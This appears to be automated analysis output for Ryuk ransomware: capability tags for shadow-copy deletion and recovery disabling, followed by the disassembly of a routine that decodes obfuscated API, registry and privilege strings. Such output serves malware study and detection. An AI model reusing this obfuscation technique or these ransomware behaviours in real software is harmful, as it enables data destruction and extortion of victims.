Function at 0x7ff788e2351c
Capabilities:
Acquire debug privileges
Delete volume shadow copies
Disable automatic windows recovery features

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x730]
sub rsp, 0x830
mov ebx, 0x32
lea rcx, [rbp + 0x6f0]
mov r8d, ebx
xor edx, edx
call fcn.7ff788e27164
lea rcx, [0x7ff788e41090]
call fcn.7ff788e25e84
mov r8d, ebx
lea rdx, [rbp + 0x6f0]
lea rcx, str.f705d801276ef4259f79c59fd17f9c74
call fcn.7ff788e21a40
xor edi, edi
lea rcx, [rsp + 0x20]
xor edx, edx
mov dword [rbp + 0x760], edi
mov r8d, 0x7d0
call fcn.7ff788e27164
lea r9, [rbp + 0x760]
mov r8d, 0x1f4
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x6f0]
call fcn.7ff788e21d2c
mov esi, dword [rbp + 0x760]
lea r9, str.Kernel32.dll
mov r8d, edi
lea r10d, [rbx - 0x26]
lea r15d, [rbx - 0x31]
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e235c5
mov r8d, edi
lea r9, str.LoadLibraryA
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e235ea
mov r8d, edi
lea r9, str.LoadLibraryW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e2360f
mov r8d, edi
lea r9, str.VirtualAlloc
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e23634
mov r8d, edi
lea r9, str.FindFirstFileW
mov r12d, 0xe
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r12d
jl 0x7ff788e2365f
mov r8d, edi
lea r9, str.FindNextFileW
mov r11d, 0xd
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r11d
jl 0x7ff788e2368a
mov r8d, edi
lea r9, str.GetModuleFileNameA
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x12
jl 0x7ff788e236af
mov r8d, edi
lea r9, str.Wow64RevertWow64FsRedirection
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x1d
jl 0x7ff788e236d5
mov r8d, edi
lea r9, str.SetFilePointer
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r12d
jl 0x7ff788e236fb
mov r8d, edi
lea r9, str.CreateFileA
mov ebx, 0xb
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, ebx
jl 0x7ff788e23725
mov r8d, edi
lea r9, str.CreateFileW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, ebx
jl 0x7ff788e2374a
mov r8d, edi
lea r9, str.CloseHandle
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, ebx
jl 0x7ff788e2376f
mov r8d, edi
lea r9, str.GetWindowsDirectoryW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x14
jl 0x7ff788e23794
mov r8d, edi
lea r9, str.CreateDirectoryW
mov r14d, 0x10
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r14d
jl 0x7ff788e237c0
mov r8d, edi
lea r9, str.WriteFile
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 9
jl 0x7ff788e237e5
mov r8d, edi
lea r9, str.CreateProcessW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r12d
jl 0x7ff788e2380b
mov r8d, edi
lea r9, str.GetModuleHandleA
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r14d
jl 0x7ff788e23830
mov r8d, edi
lea r9, str.CreateProcessA
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r12d
jl 0x7ff788e23855
mov r8d, edi
lea r9, str.CopyFileA
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 9
jl 0x7ff788e2387a
mov r8d, edi
lea r9, str.GetCommandLineW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0xf
jl 0x7ff788e238a0
mov r8d, edi
lea r9, str.FreeLibrary
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, ebx
jl 0x7ff788e238c6
mov r8d, edi
lea r9, str.GlobalAlloc
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, ebx
jl 0x7ff788e238eb
mov r8d, edi
lea r9, str.GetModuleFileNameW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x12
jl 0x7ff788e23910
mov r8d, edi
lea r9, str.Wow64DisableWow64FsRedirection
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x1e
jl 0x7ff788e23936
mov r8d, edi
lea r9, str.SetFileAttributesA
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x12
jl 0x7ff788e2395c
mov r8d, edi
lea r9, str.CopyFileW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 9
jl 0x7ff788e23982
mov r8d, edi
lea r9, str.DeleteFileW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, ebx
jl 0x7ff788e239a8
mov r8d, edi
lea r9, str.ReadFile
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 8
jl 0x7ff788e239cd
mov r8d, edi
lea r9, str.GetFileSize
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, ebx
jl 0x7ff788e239f3
mov r8d, edi
lea r9, str.GetVersionExW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r11d
jl 0x7ff788e23a18
mov r8d, edi
lea r9, str.GetFileAttributesW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x12
jl 0x7ff788e23a3d
mov r8d, edi
lea r9, str.GetFileAttributesA
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x12
jl 0x7ff788e23a63
mov r8d, edi
lea r9, str.FindClose
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 9
jl 0x7ff788e23a89
mov r8d, edi
lea r9, str.WinExec
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 7
jl 0x7ff788e23aaf
mov r8d, edi
lea r9, str.Sleep
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 5
jl 0x7ff788e23ad5
mov r8d, edi
lea r9, str.ExitProcess
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, ebx
jl 0x7ff788e23afb
mov r8d, edi
lea r9, str.GetCurrentProcess
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x11
jl 0x7ff788e23b20
mov r8d, edi
lea r9, str.GetLogicalDrives
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r14d
jl 0x7ff788e23b46
mov r8d, edi
lea r9, str.SetFileAttributesW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x12
jl 0x7ff788e23b6b
mov r8d, edi
lea r9, str.GetStartupInfoW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0xf
jl 0x7ff788e23b91
mov r8d, edi
lea r9, str.GetTickCount
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e23bb7
mov r8d, edi
lea r9, str.GetDriveTypeW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r11d
jl 0x7ff788e23bdc
mov r8d, edi
lea r9, str.mpr.dll
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 7
jl 0x7ff788e23c01
mov r8d, edi
lea r9, str.WNetOpenEnumW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r11d
jl 0x7ff788e23c27
mov r8d, edi
lea r9, str.WNetEnumResourceW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x11
jl 0x7ff788e23c4c
mov r8d, edi
lea r9, str.WNetCloseEnum
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r11d
jl 0x7ff788e23c72
mov r8d, edi
lea r9, str.advapi32.dll
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e23c97
mov r8d, edi
lea r9, str.CryptEncrypt
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e23cbc
mov r8d, edi
lea r9, str.CryptDecrypt
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e23ce1
mov r8d, edi
lea r9, str.CryptGenKey
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, ebx
jl 0x7ff788e23d06
mov r8d, edi
lea r9, str.CryptDestroyKey
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0xf
jl 0x7ff788e23d2b
mov r8d, edi
lea r9, str.CryptExportKey
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r12d
jl 0x7ff788e23d51
mov r8d, edi
lea r9, str.CryptImportKey
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r12d
jl 0x7ff788e23d76
mov r8d, edi
lea r9, str.CryptDeriveKey
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r12d
jl 0x7ff788e23d9b
mov r8d, edi
lea r9, str.CryptAcquireContextW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x14
jl 0x7ff788e23dc0
mov r8d, edi
lea r9, str.GetUserNameA
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e23de6
mov r8d, edi
lea r9, str.GetUserNameW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e23e0b
mov r8d, edi
lea r9, str.RegOpenKeyExA
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r11d
jl 0x7ff788e23e30
mov r8d, edi
lea r9, str.RegOpenKeyExW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r11d
jl 0x7ff788e23e55
mov r8d, edi
lea r9, str.RegQueryValueExA
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r14d
jl 0x7ff788e23e7a
mov r8d, edi
lea r9, str.RegCloseKey
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, ebx
jl 0x7ff788e23e9f
mov r8d, edi
lea r9, str.RegDeleteValueW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0xf
jl 0x7ff788e23ec4
mov r8d, edi
lea r9, str.RegSetValueExW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r12d
jl 0x7ff788e23eea
mov r8d, edi
lea r9, str.ole32.dll
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 9
jl 0x7ff788e23f0f
mov r8d, edi
lea r9, str.CoInitialize
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e23f35
mov r8d, edi
lea r9, str.CoCreateInstance
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r14d
jl 0x7ff788e23f5a
mov r8d, edi
lea r9, str.Shell32.dll
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, ebx
jl 0x7ff788e23f7f
mov r8d, edi
lea r9, str.ShellExecuteW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r11d
jl 0x7ff788e23fa4
mov r8d, edi
lea r9, str.ShellExecuteA
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r11d
jl 0x7ff788e23fc9
mov r8d, edi
lea r9, [0x7ff788e3eb64]
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 4
jl 0x7ff788e23fee
mov r8d, edi
lea r9, [0x7ff788e40d08]
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r14d
jl 0x7ff788e24014
mov r8d, edi
lea r9, str.RyukReadMe.html
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0xf
jl 0x7ff788e24039
mov r8d, edi
lea r9, str.sysvol
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 6
jl 0x7ff788e2405f
mov r8d, edi
lea r9, str.netlogon
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 8
jl 0x7ff788e24085
mov r8d, edi
lea r9, [0x7ff788e4008c]
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 3
jl 0x7ff788e240ab
mov r8d, edi
lea r9, str.lan.exe
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 7
jl 0x7ff788e240d1
mov r8d, edi
lea r9, str.boot
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 4
jl 0x7ff788e240f7
mov r8d, edi
lea r9, str.encrypt
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 7
jl 0x7ff788e2411d
mov r8d, edi
lea r9, str.SeDebugPrivilege
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r14d
jl 0x7ff788e24143
mov r8d, edi
lea r9, str.csrss.exe
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 9
jl 0x7ff788e24168
mov r8d, edi
lea r9, str.explorer.exe
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e2418e
mov r8d, edi
lea r9, str.lsaas.exe
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 9
jl 0x7ff788e241b3
mov r8d, edi
lea r9, str.sysrep
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 6
jl 0x7ff788e241d9
mov r8d, edi
lea r9, str.EnableLUA
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 9
jl 0x7ff788e241ff
mov r8d, edi
lea r9, str.Iphlpapi.dll
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e24225
mov r8d, edi
lea r9, str.GetSystemDefaultLangID
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x16
jl 0x7ff788e2424a
mov r8d, edi
lea r9, str.WaitForMultipleObjects
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x16
jl 0x7ff788e24270
mov r8d, edi
lea r9, str.GetFileSizeEx
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r11d
jl 0x7ff788e24296
mov r8d, edi
lea r9, str.MoveFileExW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, ebx
jl 0x7ff788e242bb
mov r8d, edi
lea r9, str.SetFilePointerEx
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r14d
jl 0x7ff788e242e0
mov r8d, edi
lea r9, str.CreateThread
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e24305
mov r8d, edi
lea r9, str.SeBackupPrivilege
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x11
jl 0x7ff788e2432a
mov r8d, edi
lea r9, [0x7ff788e40e50]
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x2a
jl 0x7ff788e24350
mov r8d, edi
lea r9, str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider__Prototype_
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x41
jl 0x7ff788e24376
mov r8d, edi
lea r9, str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x35
jl 0x7ff788e2439c
mov r8d, edi
lea r9, str.VirtualFree
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, ebx
jl 0x7ff788e243c2
mov r8d, edi
lea r9, str.GetIpNetTable
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r11d
jl 0x7ff788e243e7
mov r8d, edi
lea r9, str.WNetEnumResourceA
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x11
jl 0x7ff788e2440c
mov r8d, edi
lea r9, str.WNetOpenEnumA
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r11d
jl 0x7ff788e24432
mov r8d, edi
lea r9, str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x2e
jl 0x7ff788e24457
mov r8d, edi
lea r9, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x3a
jl 0x7ff788e2447d
mov r8d, edi
lea r9, str.GetLastError
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r10d
jl 0x7ff788e244a3
mov r8d, edi
lea r9, str.EnumServicesStatusW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x13
jl 0x7ff788e244c8
mov r8d, edi
lea r9, str.GetTokenInformation
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x13
jl 0x7ff788e244ee
mov r8d, edi
lea r9, str.ImpersonateSelf
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0xf
jl 0x7ff788e24514
mov r8d, edi
lea r9, str.LookupPrivilegeValueW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x15
jl 0x7ff788e2453a
mov r8d, edi
lea r9, str.OpenProcessToken
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r14d
jl 0x7ff788e24560
mov r8d, edi
lea r9, str.OpenSCManagerW
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, r12d
jl 0x7ff788e24585
mov r8d, edi
lea r9, str.OpenThreadToken
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0xf
jl 0x7ff788e245aa
mov r8d, edi
lea r9, str.AdjustTokenPrivileges
mov eax, r8d
add r8d, r15d
cdq
idiv esi
movsxd rax, edx
mov cl, byte [rsp + rax*4 + 0x20]
sub byte [r9], cl
add r9, r15
cmp r8d, 0x15
jl 0x7ff788e245d0
mov r8d, edi
lea r9, str.VirtualAllocEx
